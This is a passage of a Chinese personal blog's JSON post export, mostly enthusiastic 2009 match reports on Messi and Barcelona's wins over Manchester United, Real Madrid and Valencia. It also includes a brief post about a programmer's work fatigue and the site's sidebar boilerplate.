球和世界足球先生的荣誉迟早也会降临到这位巴萨新国王、阿根廷10号的身上的。\n2008-09赛季仅仅是巴萨梦三的开始，相信梅西还继续会引领巴萨在未来若干年继续占据欧洲王者的宝座，持续书写着这位球王接班人的辉煌。现在让我们为巴萨高唱“we are the champions”吧！\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/05/29/europe-barca-vs-manchester_united/","summary":"\u003cp\u003e巴塞罗那队 vs. 曼彻斯特联队，这绝对是一场世界足球公认的巅峰对决：\u003cbr\u003e\n1、它是西甲冠军与英超冠军的对决；\u003cbr\u003e\n2、它是艺术足球与实用足球风格的对决；\u003cbr\u003e\n3、它是梅西与C.罗之间为争取个人最高荣誉的对决；\u003cbr\u003e\n4、它也是“菜鸟少帅”瓜迪奥拉与“大虾老爵爷”弗格森之间的首次对决。\u003c/p\u003e","title":"梅西·引领梦三登欧冠之巅"},{"content":"巴塞罗那队 vs. 曼彻斯特联队，这绝对是一场世界足球公认的巅峰对决：\n1、它是西甲冠军与英超冠军的对决；\n2、它是艺术足球与实用足球风格的对决；\n3、它是梅西与C.罗之间为争取个人最高荣誉的对决；\n4、它也是“菜鸟少帅”瓜迪奥拉与“大虾老爵爷”弗格森之间的首次对决。\n对于两只球队来说，本场比赛也必将是一场“刷数据”的较量，曼联若获胜将成为冠军杯改制以来首个卫冕成功的球队，并成为史上第一个“五冠王”（联赛杯、世俱杯、社区盾、联赛冠军、欧冠冠军）；巴萨如果获胜，也将成为西班牙足球历史上首个“三冠王”，这一殊荣就连20世纪最佳球队皇马也未成拿到，同时也是近十年来欧洲足坛既曼联后的又一“三冠王”球队。\n一场比赛却包含着这么多的意义，怎能不受到众球迷的关注呢！另外与近些年的欧冠决赛相比，本场比赛才是真正意义上的“冠军对决”，两个国家联赛本赛季的NO.1的对决，这无疑又给这场比赛增加了无穷魅力。\n赛前多数媒体看好曼联，特别是国内媒体认为目前的曼联已经达到了金庸小说中杨过的“重剑无锋”的境界，而巴萨则外具华丽，内欠沉稳，有些令狐冲的“独孤九剑”的味道。到底是“独孤九剑”招式更胜一筹还是“重剑无锋”的沉稳后来居上，让本场比赛吸引了全世界媒体的眼球。\n欧洲足球最高荣誉-圣伯莱德杯(俗称大耳朵杯)\n菜鸟少帅瓜迪奥拉与大虾老爵爷弗格森\n说完意义，再来说说过程。\n2009年5月28日凌晨2点45分（北京时间），2008-09赛季欧洲足球最后的巅峰之战在“永恒之城”罗马的奥林匹克体育场上演。7万多球迷现场观看比赛，另外全世界还有数以亿计的球迷将通过电视直播来收看这场比赛，这也是本赛季欧洲足球的收官之战。凭借小白伊涅斯塔补时阶段入球淘汰切尔西的西甲豪门巴塞罗那队身穿传统红蓝主场队服迎来了英超红魔、卫冕冠军曼彻斯特联队的挑战；本场比赛双方都有人员因红黄牌停赛，巴萨损失“双翼”阿尔维斯和阿比达尔，而曼联则损失了中场大将弗莱彻，但从阵容上来看，曼联更齐整一些。瓜迪奥拉排出的巴萨阵型如下：巴尔德斯镇守龙门，普约尔和老将西尔维尼奥分据后场左右两翼、中卫皮克继续承担重任，镇守中路；亚亚图雷继续上一场对切尔西的角色客串中卫与皮克搭档；中场方面巴萨青训系统的佼佼者-双核哈维和小白伊涅斯塔继续充当巴萨的发动机，布斯克茨担当后腰；前场则是本赛季攻击力冠绝欧洲的三叉戟组合-亨利、埃托奥和巴萨国王梅西。\n巴萨决赛首发11人\n曼联方面老爵爷则排出了欧洲第一防线的全主力阵容：门将范德萨，两名1米90以上的中卫费迪南德和维迪奇占据中路，奥谢和埃弗拉分局两翼；中场安德森顶替停赛的弗莱彻出任首发，卡里克和老队长吉格斯搭档担任曼联进攻的发动机；前场鲁尼、C罗和亚洲荣耀朴智星组成进攻三叉戟。\n开球后，有着去年决赛经验的曼联先发制人，前10分钟，皮球基本一直在巴萨的半场，求胜心切的C罗在短短的10分钟内就完成了5次射门，其中多次都极具威胁，第一次远射还造成巴尔德斯脱手，朴智星的补射被挡出。巴萨的三叉戟在对方前场连拿球的机会都很少。不过巴萨也就仅仅给了曼联这10分钟的表演机会，第10分钟，小将布斯克茨防守头球顶到中圈附近，伊涅斯塔拿球与梅西做了传切配合后，带球长驱直入，禁区前沿直传埃托奥，埃托奥带球扣过维迪奇，小角度捅射，范德萨没能挡住皮球入网，巴萨1:0取得梦幻般领先。巴萨全场第一次进攻、第一次射门就获得进球，不得不佩服巴萨的攻击力和攻击效率。这个进球也给曼联来了个下马威：与巴萨打对攻没有好果子吃，皇马就是前车之鉴。\n埃托奥进球瞬间\n进球后，巴萨开始了自己的控球表演，三叉戟开始发威，梅西在中场与哈维伊涅斯塔组成进攻三角，在前锋线与埃托奥和亨利组成锋线倒三角，这一战术模式在打强队时越来越灵验，梅西的“威慑力”让曼联不得不派出大量兵力对其进行防守，梅西每次拿球都吸引大量对方球员，这也恰恰给巴萨其他球员带来的更多的机会。此时场外曼联的球迷依旧不离不弃，以高亢的歌声来鼓励曼联的队员，但此时胜负的天枰已经倾向与巴萨了。\n梅西突破\n梅西在第18分钟完成自己本场首次射门，埃托奥在右路接普约尔的手抛球，带球前突后将球回传给身后的梅西，梅西右路带球快速内切，在距门20米左右左脚大力施射，范德萨飞身扑救，球擦着上门梁飞出，极具威胁的一脚射门。随后曼联发起一次很有威胁的反击，朴智星的单刀被巴尔德斯破坏。\n开场30分钟之后，巴萨双核牢牢控制了中场，哈维、伊涅斯塔和梅西在对方的防守体系中如入无人之境，传球都恰到好处，对方只有靠犯规来截断巴萨流畅的传切配合了。本场比赛曼联球员居然对巴萨中场没有严格逼抢，反倒是巴萨前场球员就地积极的反抢让曼联失误频频，不知道是老爵爷的战术安排出了问题，还是场上球员的战术执行出了问题。第38分钟，梅西禁区中路巧妙挑传亨利，中卫费迪南德无奈只能背身向后摆腿勾球，还好老费的运气好，球没有变向，否则亨利拿到球后就形成必杀单刀。第44分钟，梅西左路拿球用速度突破对方4名防守队员的包夹，在底线传中，范德萨及时出击拦住皮球。巴萨在上班场最后这段时间内完全控制住了比赛，基本是在曼联的半场控球和围攻，曼联球员就是抢不下对方脚下的皮球。带着一个球的优势，巴萨结束了上班时的比赛。\n下半场曼联做出人员调整，梅西的阿根廷国家队队友特维斯替换安德森上场，朴智星从右路换到左路。不过巴萨还是在下半场首先给曼联制造了威胁，下班时第3分钟，哈维中场直传，亨利单刀直入，扣过费迪南德的防守，但最后的射门却被范德萨封杀，而此时中路梅西已经拍马赶到，如果亨利选择传球，那巴萨扩大优势。第50分钟，埃托奥直传禁区找梅西，梅西在触球瞬间被对方后卫拉倒，但是裁判没有判罚点球。巴萨下半时更是牢牢控制住了场上局面，巴萨球员在对方半场拿球更加闲庭信步；曼联球员似乎失去了斗志。第52分钟，伊涅斯塔被侵犯，巴萨在禁区前沿获得任意球，哈维的射门打在右边立柱上弹出，相信曼联的球迷又是惊出一身冷汗。\n第70分钟，梅西上演锁定胜局之进球，哈维中路传出保姆式助攻，梅西在两名1米90以上的中后卫中间快速插上高高跃起头球吊射，范德萨只能目送足球入网，梅西以一记非典型入球帮助巴萨锁定胜局，这粒入球也让梅西打破10场对英超球队不进球的魔咒，同时这粒头球也是对英超第一防线的最大的讽刺。\n梅西进球瞬间\n梅西用一粒头球证明自己才是世界NO.1\n梅西进球后拖鞋庆祝\n梅西进球后笑逐颜开\n2:0领先后，巴萨还有多次破门良机，要不是普约尔是后卫出身，比分绝不仅仅只是2:0。随着主裁一声哨响，巴萨历史性的拿到西甲首个“三冠王”，也是2000年以来欧洲第一个三冠王。\n低调谦虚的瓜迪奥拉吼叫释放心情\n巴萨，毫无争议的欧洲之王\n瓜迪奥拉无疑是本赛季巴萨最大功臣\n梅西终于拿到了属于自己的欧冠奖杯\n亨利在巴萨获得满贯\n本赛季巴萨以令人赏心悦目的华丽足球表演彻彻底底的征服了欧洲，征服了世界，皇马、里昂、拜仁、切尔西、曼联等豪门先后被巴萨的艺术足球击败，本场比赛结束后，我们不得不承认瓜迪奥拉已经开创了巴萨的梦三时代，而在这只梦三队中，最耀眼的明星莫过于本赛季获得欧冠最佳射手、最佳球员的梅西，另外本赛季梅西38个进球、18次助攻的完美数据也让我们有理由相信2009年绝对属于梅西，2009年欧洲金球和世界足球先生的荣誉迟早也会降临到这位巴萨新国王、阿根廷10号的身上的。\n2008-09赛季仅仅是巴萨梦三的开始，相信梅西还继续会引领巴萨在未来若干年继续占据欧洲王者的宝座，持续书写着这位球王接班人的辉煌。现在让我们为巴萨高唱“we are the champions”吧！\n","permalink":"https://tonybai.com/2009/05/28/barca-win-the-champion-league/","summary":"\u003cp\u003e\u003ca href=\"http://www.fcbarcelona.com/\"\u003e巴塞罗那队\u003c/a\u003e vs. 曼彻斯特联队，这绝对是一场世界足球公认的巅峰对决：\u003cbr\u003e\n1、它是西甲冠军与英超冠军的对决；\u003cbr\u003e\n2、它是艺术足球与实用足球风格的对决；\u003cbr\u003e\n3、它是\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e与C.罗之间为争取个人最高荣誉的对决；\u003cbr\u003e\n4、它也是“菜鸟少帅”瓜迪奥拉与“大虾老爵爷”弗格森之间的首次对决。\u003c/p\u003e","title":"巴萨问鼎欧冠，梅西引领“梦三”"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/05/20/hand-painted/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"手绘"},{"content":"突然觉得最近自己对着电脑发呆的时间变长了，面对着笔记本屏幕，时常是大脑变得空白，不愿去想工作上的事情，上网也提不起兴趣，想写文章又不知从何下笔，旁边厚厚的一摞技术书籍也懒得去翻看，每天都觉得很累，晚饭后总想去用睡眠来麻醉自己，真怀疑自己是不是有了心理问题。回过头来再想想这应该不是一个偶然的现象，而是一种积蓄了很久的情绪的爆发。\n自己工作时间也不算短了，按理说自己的发展曲线还算是不错的，但是近来我却发现现在的工作让我愈来愈提不起精神，以往充满热情活力我突然静寂了下来，难道是自己进入到了“工作疲劳期”了吗？不得而知。\n程序员都是“成就感驱动的”，如果身为程序员的你从来都没有这种感觉的话，那说句不好听的，你多半是“入错行”了或是一直在“混日子”。现在我就在为这件事而头疼！因为现在的工作让我始终无法持续获得成就感，缺少了成就感对于软件开发行业的人来说是“致命的”。“混日子”可不是我要追求的生活。对于还算比较年轻的我来说，这显然是危险的，调整是亟需的。\n我的青春谁做主 — 我自己做主！\n","permalink":"https://tonybai.com/2009/05/06/sit-in-front-of-the-pc-and-do-nothing/","summary":"\u003cp\u003e突然觉得最近自己对着电脑发呆的时间变长了，面对着笔记本屏幕，时常是大脑变得空白，不愿去想工作上的事情，上网也提不起兴趣，想写文章又不知从何下笔，旁边厚厚的一摞技术书籍也懒得去翻看，每天都觉得很累，晚饭后总想去用睡眠来麻醉自己，真怀疑自己是不是有了心理问题。回过头来再想想这应该不是一个偶然的现象，而是一种积蓄了很久的情绪的爆发。\u003c/p\u003e","title":"对着电脑发呆"},{"content":"2009年5月3日凌晨2点（北京时间），2008-09赛季西甲联赛第34轮拉开战幕，巴萨做客伯纳乌球场与皇马上演第235次西班牙“国家德比”，同 时这场比赛也是两个豪门在联赛中的第158次交手。从队员的角度来看，这场比赛是本赛季才加冕巴萨国王的10号梅西首次亮相伯纳乌。\n从实 力上而论，攻击力冠绝欧洲的巴萨显然要高出目前这支皇马许多；但是巴萨目前是三线作战，而皇马则只剩下了一个目标-“卫冕联赛冠军”。尽管比赛前皇马仍落 后巴萨4分，但是皇马这支球队里骨子里那种争冠军的心是不可小视的。巴萨是否能顺利拿下皇马，除了实力之外还要看临场教练指挥和队员的发挥。在这场比赛 前，巴萨先是在客场战平瓦伦西亚，后又在冠军联赛半决赛首回合主场被切尔西逼平，理论上说巴萨存在两线被逆转的可能。所以本场比赛，巴萨不需要留力，因为 如果能在伯纳乌战胜皇马，那将比多休息一周还有益，所以无论对巴萨还是对皇马来说，拿下这场比赛是唯一的目标。\n瓜帅也的确没有任何保留， 尽遣主力首发。亨利、梅西、埃托奥+哈维、伊涅斯塔构成前场“五叉戟”，图雷增加中场硬度。普队和皮克搭档中卫，阿尔维斯和阿比达尔分居后方两翼，巴尔德 斯镇守龙门。皇马也是尽遣能派上的所有主力，梅策尔德顶替上轮故意伤人而被禁赛的佩佩与卡纳瓦罗搭档中卫，海因策和拉莫斯镇守两翼，L.迪亚拉和文艺青年 加戈出任双后腰；马塞洛和罗本在两个边路活动，前锋线上是老将劳尔和阿根廷小将伊瓜因，卡西利亚斯把守皇马球门。\n本场比赛吸引了八万多名 球迷来到伯纳乌现场为自己心爱的球队加油。皇马球迷希望能亲眼看到自己的球队在主场击退巴萨，缩小与巴萨的比分，将压力推给对方。开场后，场上的皇马队员 也是如此做的。一股不服输的精神让皇马队员在开场后状态甚佳，并通过积极的跑动和抢断试图割断巴萨的控球。但巴萨的控球在前10分钟还是给皇马带来了多次 麻烦。梅西多次与队友的配合都险些攻破圣卡西的十指关。不过在主场球迷的助威下，还是皇马首先打破僵局。\n梅西比赛中全神贯注\n梅西被重点盯防\n第 14分钟，两队后卫直接在巴萨左路形成对话，结果拉莫斯突破了阿比达尔的防守后传中，点球点处无人防守的伊瓜因高高跃起头球攻门，球速太快，巴尔德斯只能 目视皮球飞入网内。皇马取得一个梦幻般的开局，开场不到15分钟，就在主场1:0领先，似乎一切都是按照皇马主教练和球员们计划好的情形发展着。可惜巴萨 的球员们没有让皇马队员和球迷的快乐持续太久，仅仅在4分钟后，巴萨左路发起攻势。亨利中路分球给梅西后前插，梅西得球后恰到好处的一记挑传助攻亨利，亨 利反越位成功，面对卡西利亚斯弃门而出的封堵，亨利轻松将球推入网中，巴萨扳平比分。\n梅西庆祝亨利入球\n梅西突破对手防线\n进 球后巴萨控球的优势越来越明显了。巴萨的第二个进球来的也很快。仅仅在两分钟后，亨利在左路禁区边缘被侵犯，巴萨获得一个不错的任意球机会。哈维主罚，皮 球飞到门前，无人盯防的普队高高跃起，一记势大力沉的头球再次敲开了圣卡西把守的皇马球门，这也是普队本赛的首个联赛入球，巴萨2:1反超比分。\n比 分落后的皇马加强攻势，与巴萨在中场展开“肉搏”，皇马先后获得了多次很好的机会，不过都被巴萨后方化解。这期间梅西在前场也获得几次机会，可惜卡西利亚 斯的精彩扑救力保皇马大门不失。巴萨新10号在伯纳乌的首粒入球在第36分钟到来。迪亚拉在己方后场出现失误，哈维断球成功，球到了梅西脚下，梅西单刀直 入，面对前面圣卡西的出击封堵以及对方后卫后面的紧追不舍，梅西冷静左脚推射远角得分，3:1领先。这个球一进彻底打击了皇马球员的自信心。皇马球员的冲 劲儿也远远没有开场时那么足了，取而代之的是对梅西的犯规以及被裁判出示的黄牌多了起来。巴萨在上半场后期居然放松到玩起控球“游戏”。主裁判适时的吹响 了上半场结束的哨声。\n10号梅西庆祝自己伯纳乌首球\n下 半场开始后，巴萨没有给皇马施加太大压力，这让皇马有所喘息。这一喘息机会让皇马获得了进球，第56分钟，皇马获得前场右路任意球，罗本主罚，将球吊入禁 区，拉莫斯门前冲顶球进，皇马将比分扳为2:3，皇马众将士似乎看到了扳平甚至反超的希望。不过巴萨的高手们没有让这种希望持续太久，仅仅两分钟后，哈维 的一粒直传，刚刚建功的拉莫斯再次出现大意，亨利再次反越位成功，面对出击的门将，亨利轻轻一推将球打入空门，巴萨将比分改写为4:2。大势已去，皇马队 员几近放弃。随后巴萨用凯塔换下有伤在身的亨利。全场节奏仍在巴萨的掌控之中，巴萨艺术性的控球让皇马球员相形见绌。在巴萨的优美控球下，皇马后方漏洞百 出，本已经开始“收”的巴萨球员面对皇马的“城门大开”选择了痛打落水狗。第75分钟，10号梅西与“大脑”哈维在对方禁区前细腻配合，梅西反越位成功， 假动作晃过圣卡西射近角得手，巴萨5:2锁定胜局，梅西打入了本赛季联赛的第23个进球，同时也是本赛季全线比赛的第36个进球，这一数据冠绝欧洲。在本 场结束前几分钟，皮克又锦上添花，把比分扩大到破纪录的6:2，皇马在自己的伯纳乌主场被创纪录的血洗，这一耻辱将被记入历史。\n梅西将进球献给“脆性X综合症”患儿\n击败皇马后，巴萨将比分差距再次扩大为7分，基本100%锁定本赛季联赛冠军。更重要的是在下周中，巴萨可以毫无牵挂的全力出击斯坦福桥挑战切尔西，这才 是对巴萨的最大利好。目前这支巴萨取得任何一项赛事的冠军都可以说是实至名归。目前巴萨仅在冠军联赛上多一些好运气就足可以成就三冠王的伟业，让我们拭目 以待吧。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/05/03/real_mardrid-vs-barca/","summary":"\u003cp\u003e2009年5月3日凌晨2点（北京时间），2008-09赛季西甲联赛第34轮拉开战幕，巴萨做客伯纳乌球场与皇马上演第235次西班牙“国家德比”，同 时这场比赛也是两个豪门在联赛中的第158次交手。从队员的角度来看，这场比赛是本赛季才加冕巴萨国王的10号梅西首次亮相伯纳乌。\u003c/p\u003e","title":"梅西·两球击碎皇马卫冕梦"},{"content":"2009年4月26日凌晨4时（北京时间），2008-09赛季西班牙足球甲级联赛第33轮拉开战幕，巴萨客战劲旅瓦伦西亚。CCTV5因转播意甲比赛， 延迟了本场比赛的转播，CSPN则准时转播了比赛，但是画面和解说都与CCTV无法可比。我最终还是选择了看CCTV的转播。\n巴萨在魔鬼 赛程首回合4:0大胜塞维利亚获得开门红，但是巴萨面前的比赛一场比一场艰苦，除了这场对阵瓦伦西亚的比赛，三天后欧冠半决赛主场对战切尔西、下周末做客 马德里上演西班牙“国家德比”，两场比赛直接关系着冠军杯和联赛冠军的归属，巴萨全队上下不敢怠慢，从本场球员的表现来看，似乎大家也都心有所思，表现不 一。反观对手瓦伦西亚，由于近期瓦队球员及时拿到了工资和奖金，所以球队近期战绩也是节节攀升，此场比赛前瓦伦西亚在联赛中取得连胜，势头正猛。而且为与 塞维利亚争夺一个下赛季冠军联赛的名额，瓦伦西亚也势要主场拿下巴萨。\n瓜帅在排兵布阵上就有了保留，马科斯、亚亚图雷、亨利轮休，普约 尔、皮克搭档中卫；布斯克茨和凯塔作为首发出场；哈维继续充当指挥官；伊涅斯塔与埃托奥、梅西组成新三叉戟。巴萨在本场比赛还有几一个顾虑，那就是多名主 力在联赛中的黄牌数量都达到了4张，一旦再得一张，将无法出现在下场对战皇马的国家德比中。因此大家在场上还都要小心避免得牌。\n开场后， 巴萨依旧占据控球优势，不过瓦伦西亚的中场逼抢和犯规战术让梅西多次到底，哈维的传球也失误频频，巴萨的进攻也在瓦伦后方密集的防守下屡屡被化解。梅西直 塞埃托奥，后者被对方在禁区内断球；伊涅斯塔左路横敲，梅西中路左脚抽射偏出。瓦伦的反击也该巴萨带来较大麻烦，特别是巴萨禁区内的防守屡屡让球迷惊出冷 汗。要知道比利亚25个进球里可是有8粒点球。大卫席尔瓦和比利亚要点球的技术可是很高的。\n梅西称赞队友妙传\n梅西人群中突破\n第24分钟，梅西让巴萨取得领先。先是梅西中路传球给左路插上的伊涅斯塔，后者突入小禁区，对方门将及时上前封堵，小白没有选择射门而是左晃右晃，最终将球回传给中路的梅西，梅西顺势一脚推射中的，这是梅西本赛季联赛的第21粒入球，赛季总进球数达到34个。\n梅西进球后庆祝\n短发梅西显得更精神抖擞\n1:0 